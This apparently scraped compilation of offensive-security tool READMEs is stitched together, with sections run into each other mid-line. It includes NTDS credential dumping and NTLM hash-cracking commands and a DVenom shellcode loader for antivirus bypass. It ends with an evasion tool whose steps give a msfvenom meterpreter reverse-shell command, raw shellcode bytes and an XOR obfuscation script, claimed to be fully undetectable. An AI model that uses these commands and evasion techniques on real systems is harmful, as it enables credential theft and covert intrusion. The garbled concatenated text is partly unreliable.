secretsdump.py -ntds ntds.dit -system system.reg -hashes lmhash:ntlmhash LOCAL -outputfile ~/Desktop/client_nameAfter that import
knowsmore --ntlm-hash --import-ntds ~/Desktop/client_name.ntdsknowsmore --word-list -o "~/Desktop/Wordlist/my_custom_wordlist.txt" --batch --name company_nameFirst extract all hashes to a txt file
# Extract NTLM hashes to file
nowsmore --ntlm-hash --export-hashes "~/Desktop/ntlm_hash.txt"
# Or, extract NTLM hashes from NTDS file
cat ~/Desktop/client_name.ntds | cut -d ':' -f4 > ntlm_hashes.txtIn order to crack the hashes, I usually use hashcat with the command bellow
# Wordlist attack
hashcat -m 1000 -a 0 -O -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" "~/Desktop/Wordlist/*"
# Mask attack
hashcat -m 1000 -a 3 -O --increment --increment-min 4 -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" ?a?a?a?a?a?a?a?aknowsmore --ntlm-hash --company clientCompanyName --import-cracked ~/Desktop/cracked.txtNote: Change clientCompanyName to name of your company
As the passwords and his hashes are extremely sensitive data, there is a module to replace the clear text passwords and respective hashes.
Note: This command will keep all generated statistics and imported user data.
knowsmore --wipeDuring the assessment you can find (in a several ways) users password, so you can add this to the Knowsmore database
knowsmore --user-pass --username administrator --password Sec4US@2023
# or adding the company name
knowsmore --user-pass --username administrator --password Sec4US@2023 --company sec4usIntegrate all credentials cracked to Neo4j Bloodhound database
knowsmore --bloodhound --mark-owned 10.10.10.10 -d neo4j -u neo4j -p 123456To remote connection make sure that Neo4j database server is accepting remote connection. Change the line bellow at the config file /etc/neo4j/neo4j.conf and restart the service.
server.bolt.listen_address=0.0.0.0:7687
Double Venom (DVenom) is a tool that helps red teamers bypass AVs by providing an encryption wrapper and loader for your shellcode.
These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.
To clone and run this application, you'll need Git installed on your computer. From your command line:
# Clone this repository
$ git clone https://github.com/zerx0r/dvenom
# Go into the repository
$ cd dvenom
# Build the application
$ go build /cmd/dvenom/After installation, you can run the tool using the following command:
./dvenom -hTo generate c# source code that contains encrypted shellcode.
Note that if AES256 has been selected as an encryption method, the Initialization Vector (IV) will be auto-generated.
./dvenom -e aes256 -key secretKey -l cs -m ntinject -procname explorer -scfile /home/zerx0r/shellcode.bin > ntinject.cs| Language | Supported Methods | Supported Encryption |
|---|---|---|
| C# | valloc, pinject, hollow, ntinject | xor, rot, aes256, rc4 |
| Rust | pinject, hollow, ntinject | xor, rot, rc4 |
| PowerShell | valloc, pinject | xor, rot |
| ASPX | valloc | xor, rot |
| VBA | valloc | xor, rot |
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
This project is licensed under the MIT License - see the LICENSE file for details.
Double Venom (DVenom) is intended for educational and ethical testing purposes only. Using DVenom for attacking targets without prior mutual consent is illegal. The tool developer and contributor(s) are not responsible for any misuse of this tool.
Sirius is the first truly open-source general purpose vulnerability scanner. Today, the information security community remains the best and most expedient source for cybersecurity intelligence. The community itself regularly outperforms commercial vendors. This is the primary advantage Sirius Scan intends to leverage.
The framework is built around four general vulnerability identification concepts: The vulnerability database, network vulnerability scanning, agent-based discovery, and custom assessor analysis. With these powers combined around an easy to use interface Sirius hopes to enable industry evolution.
To run Sirius clone this repository and invoke the containers with docker-compose. Note that both docker and docker-compose must be installed to do this.
git clone https://github.com/SiriusScan/Sirius.git
cd Sirius
docker-compose up
The default username and password for Sirius is: admin/sirius
The system is composed of the following services:
To use Sirius, first start all of the services by running docker-compose up. Then, access the web UI at localhost:5173.
If you would like to setup Sirius Scan on a remote machine and access it you must modify the ./UI/config.json file to include your server details.
Good Luck! Have Fun! Happy Hacking!
Nodesub is a command-line tool for finding subdomains in bug bounty programs. It supports various subdomain enumeration techniques and provides flexible options for customization.
To install Nodesub, use the following command:
npm install -g nodesub
NOTE:
~/.config/nodesub/config.ini
nodesub -h
This will display help for the tool. Here are all the switches it supports.
Enumerate subdomains for a single domain:
nodesub -u example.com
Enumerate subdomains for a list of domains from a file:
nodesub -l domains.txt
Perform subdomain enumeration using CIDR:
node nodesub.js -c 192.168.0.0/24 -o subdomains.txt
node nodesub.js -c CIDR.txt -o subdomains.txt
Perform subdomain enumeration using ASN:
node nodesub.js -a AS12345 -o subdomains.txt
node nodesub.js -a ASN.txt -o subdomains.txt
Enable recursive subdomain enumeration and output the results to a JSON file:
nodesub -u example.com -r -o output.json -f json
The tool provides various output formats for the results, including:
The output file contains the resolved subdomains, failed resolved subdomains, or all subdomains based on the options chosen.
Designed to validate potential usernames by querying OneDrive and/or Microsoft Teams, which are passive methods.
Additionally, it can output/create a list of legacy Skype users identified through Microsoft Teams enumeration.
Finally, it also creates a nice clean list for future usage, all conducted from a single tool.
$ python3 .\KnockKnock.py -h
_ __ _ _ __ _
| |/ /_ __ ___ ___| | _| |/ /_ __ ___ ___| | __
| ' /| '_ \ / _ \ / __| |/ / ' /| '_ \ / _ \ / __| |/ /
| . \| | | | (_) | (__| <| . \| | | | (_) | (__| <
|_|\_\_| |_|\___/ \___|_|\_\_|\_\_| |_|\___/ \___|_|\_\
v0.9 Author: @waffl3ss
usage: KnockKnock.py [-h] [-teams] [-onedrive] [-l] -i INPUTLIST [-o OUTPUTFILE] -d TARGETDOMAIN [-t TEAMSTOKEN] [-threads MAXTHREADS] [-v]
options:
-h, --help show this help message and exit
-teams Run the Teams User Enumeration Module
-onedrive Run the One Drive Enumeration Module
-l Write legacy skype users to a seperate file
-i INPUTLIST Input file with newline-seperated users to check
-o OUTPUTFILE Write output to file
-d TARGETDOMAIN Domain to target
-t TEAMSTOKEN Teams Token (file containing token or a string)
-threads MAXTHREADS Number of threads to use in the Teams User Enumeration (default = 10)
-v Show verbose errors
./KnockKnock.py -teams -i UsersList.txt -d Example.com -o OutFile.txt -t BearerToken.txt
./KnockKnock.py -onedrive -i UsersList.txt -d Example.com -o OutFile.txt
./KnockKnock.py -onedrive -teams -i UsersList.txt -d Example.com -t BearerToken.txt -l
To get your bearer token, you will need a Cookie Manager plugin on your browser and login to your own Microsoft Teams through the browser.
Next, view the cookies related to the current webpage (teams.microsoft.com).
The cookie you are looking for is for the domain .teams.microsoft.com and is titled "authtoken".
You can copy the whole token as the script will split out the required part for you.
@nyxgeek - onedrive_user_enum
@immunIT - TeamsUserEnum
Focused on protecting highly sensitive data, temcrypt is an advanced multi-layer data evolutionary encryption mechanism that offers scalable complexity over time, and is resistant to common brute force attacks.
You can create your own applications, scripts and automations when deploying it.
Find out what temcrypt stands for, the features and inspiration that led me to create it and much more. READ THE KNOWLEDGE DOCUMENT. This is very important to you.
temcrypt is compatible with both Node.js v18 or major, and modern web browsers, allowing you to use it in various environments.
The only dependencies that temcrypt uses are crypto-js for handling encryption algorithms like AES-256, SHA-256 and some encoders and fs is used for file handling with Node.js
To use temcrypt, you need to have Node.js installed. Then, you can install temcrypt using npm:
npm install temcryptafter that, import it in your code as follows:
const temcrypt = require("temcrypt");Includes an auto-install feature for its dependencies, so you don't have to worry about installing them manually. Just run the temcrypt.js library and the dependencies will be installed automatically and then call it in your code, this was done to be portable:
node temcrypt.jsAlternatively, you can use temcrypt directly in the browser by including the following script tag:
<script src="temcrypt.js"></script>or minified:
<script src="temcrypt.min.js"></script>You can also call the library on your website or web application from a CDN:
<script src="https://cdn.jsdelivr.net/gh/jofpin/temcrypt/temcrypt.min.js"></script>temcrypt provides functions like encrypt and decrypt to securely protect and disclose your information.
Parameters
dataString (string): The string data to encrypt.dataFiles (string): The file path to encrypt. Provide either dataString or dataFiles.mainKey (string): The main key (private) for encryption.extraBytes (number, optional): Additional bytes to add to the encryption. Is an optional parameter used in the temcrypt encryption process. It allows you to add extra bytes to the encrypted data, increasing the complexity of the encryption, which requires more processing power to decrypt. It also serves to make patterns lose by changing the weight of the encryption.
Returns
status (boolean): true to indicate successful decryption.hash (string): The unique hash generated for the legitimacy verify of the encrypted data.dataString (string) or dataFiles: The decrypted string or the file path of the decrypted file, depending on the input.updatedEncryptedData (string): The updated encrypted data after decryption. The updated encrypted data after decryption. Every time the encryption is decrypted, the output is updated, because the mainKey changes its order and the new date of last decryption is saved.creationDate (string): The creation date of the encrypted data.lastDecryptionDate (string): The date of the last successful decryption of the data.dataString is provided: hash (string): The unique hash generated for the legitimacy verify of the encrypted data.mainKey (string): The main key (private) used for encryption.timeKey (string): The time key (private) of the encryption.dataString (string): The encrypted string.extraBytes (number, optional): The extra bytes used for encryption.dataFiles is provided: hash (string): The unique hash generated for the legitimacy verify of the encrypted data.mainKey (string): The main key used for encryption.timeKey (string): The time key of the encryption.dataFiles (string): The file path of the encrypted file.extraBytes (number, optional): The extra bytes used for encryption.status (boolean): false to indicate decryption failure.error_code (number): An error code indicating the reason for decryption failure.message (string): A descriptive error message explaining the decryption failure.Here are some examples of how to use temcrypt. Please note that when encrypting, you must enter a key and save the hour and minute that you encrypted the information. To decrypt the information, you must use the same main key at the same hour and minute on subsequent days:
const dataToEncrypt = "Sensitive data";
const mainKey = "your_secret_key"; // Insert your custom key
const encryptedData = temcrypt.encrypt({
dataString: dataToEncrypt,
mainKey: mainKey
});
console.log(encryptedData);const encryptedData = "..."; // Encrypted data obtained from the encryption process
const mainKey = "your_secret_key";
const decryptedData = temcrypt.decrypt({
dataString: encryptedData,
mainKey: mainKey
});
console.log(decryptedData);Encrypt a File:
To encrypt a file using temcrypt, you can use the encrypt function with the dataFiles parameter. Here's an example of how to encrypt a file and obtain the encryption result:
const temcrypt = require("temcrypt");
const filePath = "path/test.txt";
const mainKey = "your_secret_key";
const result = temcrypt.encrypt({
dataFiles: filePath,
mainKey: mainKey,
extraBytes: 128 // Optional: Add 128 extra bytes
});
console.log(result);In this example, replace 'test.txt' with the actual path to the file you want to encrypt and set 'your_secret_key' as the main key for the encryption. The result object will contain the encryption details, including the unique hash, main key, time key, and the file path of the encrypted file.
Decrypt a File:
To decrypt a file that was previously encrypted with temcrypt, you can use the decrypt function with the dataFiles parameter. Here's an example of how to decrypt a file and obtain the decryption result:
const temcrypt = require("temcrypt");
const filePath = "path/test.txt.trypt";
const mainKey = "your_secret_key";
const result = temcrypt.decrypt({
dataFiles: filePath,
mainKey: mainKey
});
console.log(result);In this example, replace 'path/test.txt.trypt' with the actual path to the encrypted file, and set 'your_secret_key' as the main key for decryption. The result object will contain the decryption status and the decrypted data, if successful.
Remember to provide the correct main key used during encryption to successfully decrypt the file, at the exact same hour and minute that it was encrypted. If the main key is wrong or the file was tampered with or the time is wrong, the decryption status will be false and the decrypted data will not be available.
temcrypt provides utils functions to perform additional operations beyond encryption and decryption. These utility functions are designed to enhance the functionality and usability.
Function List:
Below, you can see the details and how to implement its uses.
Update MainKey:
The changeKey utility function allows you to change the mainKey used to encrypt the data while keeping the encrypted data intact. This is useful when you want to enhance the security of your encrypted data or update the mainKey periodically.
dataFiles (optional): The path to the file that was encrypted using temcrypt.dataString (optional): The encrypted string that was generated using temcrypt.mainKey (string): The current mainKey used to encrypt the data.newKey(string): The new mainKey that will replace the current mainKey.const temcrypt = require("temcrypt");
const filePath = "test.txt.trypt";
const currentMainKey = "my_recent_secret_key";
const newMainKey = "new_recent_secret_key";
// Update mainKey for the encrypted file
const result = temcrypt.utils({
changeKey: {
dataFiles: filePath,
mainKey: currentMainKey,
newKey: newMainKey
}
});
console.log(result.message);Check Data Integrity:
The check utility function allows you to verify the integrity of the data encrypted using temcrypt. It checks whether a file or a string is a valid temcrypt encrypted data.
dataFiles (optional): The path to the file that you want to check.dataString (optional): The encrypted string that you want to check.const temcrypt = require("temcrypt");
const filePath = "test.txt.trypt";
const encryptedString = "..."; // Encrypted string generated by temcrypt
// Check the integrity of the encrypted File
const result = temcrypt.utils({
check: {
dataFiles: filePath
}
});
console.log(result.message);
// Check the integrity of the encrypted String
const result2 = temcrypt.utils({
check: {
dataString: encryptedString
}
});
console.log(result2.message);Verify Hash:
The verify utility function allows you to verify the integrity of encrypted data using its hash value. Checks if the encrypted data output matches the provided hash value.
hash (string): The hash value to verify against.dataFiles (optional): The path to the file whose hash you want to verify.dataString (optional): The encrypted string whose hash you want to verify.const temcrypt = require("temcrypt");
const filePath = "test.txt.trypt";
const hashToVerify = "..."; // The hash value to verify
// Verify the hash of the encrypted File
const result = temcrypt.utils({
verify: {
hash: hashToVerify,
dataFiles: filePath
}
});
console.log(result.message);
// Verify the hash of the encrypted String
const result2 = temcrypt.utils({
verify: {
hash: hashToVerify,
dataString: encryptedString
}
});
console.log(result2.message);The following table presents the important error codes and their corresponding error messages used by temcrypt to indicate various error scenarios.
| Code | Error Message | Description |
|---|---|---|
| 420 | Decryption time limit exceeded | The decryption process took longer than the allowed time limit. |
| 444 | Decryption failed | The decryption process encountered an error. |
| 777 | No data provided | No data was provided for the operation. |
| 859 | Invalid temcrypt encrypted string | The provided string is not a valid temcrypt encrypted string. |
Check out the examples directory for more detailed usage examples.
WARNINGThe encryption size of a string or file should be less than 16 KB (kilobytes). If it's larger, you must have enough computational power to decrypt it. Otherwise, your personal computer will exceed the time required to find the correct main key combination and proper encryption formation, and it won't be able to decrypt the information.
TIPS
- With temcrypt you can only decrypt your information in later days with the key that you entered at the same hour and minute that you encrypted.
- Focus on time, it is recommended to start the decryption between the first 2 to 10 seconds, so you have an advantage to generate the correct key formation.
The content of this project itself is licensed under the Creative Commons Attribution 3.0 license, and the underlying source code used to format and display that content is licensed under the MIT license.
Copyright (c) 2023 by Jose Pino
| Language | Framework | URL | Method | Param | Header | WS |
|---|---|---|---|---|---|---|
| Go | Echo | ✅ | ✅ | X | X | X |
| Python | Django | ✅ | X | X | X | X |
| Python | Flask | ✅ | X | X | X | X |
| Ruby | Rails | ✅ | ✅ | ✅ | X | X |
| Ruby | Sinatra | ✅ | ✅ | ✅ | X | X |
| Php | ✅ | ✅ | ✅ | X | X | |
| Java | Spring | ✅ | ✅ | X | X | X |
| Java | Jsp | X | X | X | X | X |
| Crystal | Kemal | ✅ | ✅ | ✅ | X | ✅ |
| JS | Express | ✅ | ✅ | X | X | X |
| JS | Next | X | X | X | X | X |
| Specification | Format | URL | Method | Param | Header | WS |
|---|---|---|---|---|---|---|
| Swagger | JSON | ✅ | ✅ | ✅ | X | X |
| Swagger | YAML | ✅ | ✅ | ✅ | X | X |
brew tap hahwul/noir
brew install noir# Install Crystal-lang
# https://crystal-lang.org/install/
# Clone this repo
git clone https://github.com/hahwul/noir
cd noir
# Install Dependencies
shards install
# Build
shards build --release --no-debug
# Copy binary
cp ./bin/noir /usr/bin/docker pull ghcr.io/hahwul/noir:mainUsage: noir <flags>
Basic:
-b PATH, --base-path ./app (Required) Set base path
-u URL, --url http://.. Set base url for endpoints
-s SCOPE, --scope url,param Set scope for detection
Output:
-f FORMAT, --format json Set output format [plain/json/markdown-table/curl/httpie]
-o PATH, --output out.txt Write result to file
--set-pvalue VALUE Specifies the value of the identified parameter
--no-color Disable color output
--no-log Displaying only the results
Deliver:
--send-req Send the results to the web request
--send-proxy http://proxy.. Send the results to the web request via http proxy
Technologies:
-t TECHS, --techs rails,php Set technologies to use
--exclude-techs rails,php Specify the technologies to be excluded
--list-techs Show all technologies
Others:
-d, --debug Show debug messages
-v, --version Show version
-h, --help Show help
Example
noir -b . -u https://testapp.internal.domainsJSON Result
noir -b . -u https://testapp.internal.domains -f json
[
...
{
"headers": [],
"method": "POST",
"params": [
{
"name": "article_slug",
"param_type": "json",
"value": ""
},
{
"name": "body",
"param_type": "json",
"value": ""
},
{
"name": "id",
"param_type": "json",
"value": ""
}
],
"protocol": "http",
"url": "https://testapp.internal.domains/comments"
}
]
This project was built by pentesters for pentesters. Redeye is a tool intended to help you manage your data during a pentest operation in the most efficient and organized way.
Daniel Arad - @dandan_arad && Elad Pticha - @elad_pt
The Server panel will display all added server and basic information about the server such as: owned user, open port and if has been pwned.
After entering the server, An edit panel will appear. We can add new users found on the server, Found vulnerabilities and add relevant attain and files.
Users panel contains all found users from all servers, The users are categorized by permission level and type. Those details can be chaned by hovering on the username.
Files panel will display all the files from the current pentest. A team member can upload and download those files.
Attack vector panel will display all found attack vectors with Severity/Plausibility/Risk graphs.
PreReport panel will contain all the screenshots from the current pentest.
Graph panel will contain all of the Users and Servers and the relationship between them.
APIs allow users to effortlessly retrieve data by making simple API requests.
curl redeye.local:8443/api/servers --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq
curl redeye.local:8443/api/users --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jq
curl redeye.local:8443/api/exploits --silent -H "Token: redeye_61a8fc25-105e-4e70-9bc3-58ca75e228ca" | jqPull from GitHub container registry.
git clone https://github.com/redeye-framework/Redeye.git
cd Redeye
docker-compose up -d
Start/Stop the container
sudo docker-compose start/stop
Save/Load Redeye
docker save ghcr.io/redeye-framework/redeye:latest neo4j:4.4.9 > Redeye.tar
docker load < Redeye.tar
GitHub container registry: https://github.com/redeye-framework/Redeye/pkgs/container/redeye
git clone https://github.com/redeye-framework/Redeye.git
cd Redeye
sudo apt install python3.8-venv
python3 -m venv RedeyeVirtualEnv
source RedeyeVirtualEnv/bin/activate
pip3 install -r requirements.txt
python3 RedDB/db.py
python3 redeye.py --safe
Redeye will listen on: http://0.0.0.0:8443
Default Credentials:
Neo4j will listen on: http://0.0.0.0:7474
Default Credentials:
Sidebar
flowchart
download.js
dropzone
Pictures and Icons
Logs
If you own any Code/File in Redeye that is not under MIT License please contact us at: redeye.framework@gmail.com
It's a AV/EDR Evasion tool created to bypass security tools for learning, until now the tool is FUD.
Generate your shellcode with msfvenom tool :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST<IP> LPORT<PORT> -f py
Then copy the output into the encryptor XOR function :
data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
key = 0x50 # Put here your key as byte like for example (0x90 or 0x40 or 0x30) and more...
print('{ ', end='')
for i in data:
print(hex(i ^ key), en d=', ')
print("0x0 };") # Notice that it adds one byte "0x0" to the end.
And then you can handle your decryption function, It's not easy for script kiddies ^-^, you can read more about it in my articale :
This is the result when running :
https://antiscan.me/images/result/07OkIKKhpRsG.png
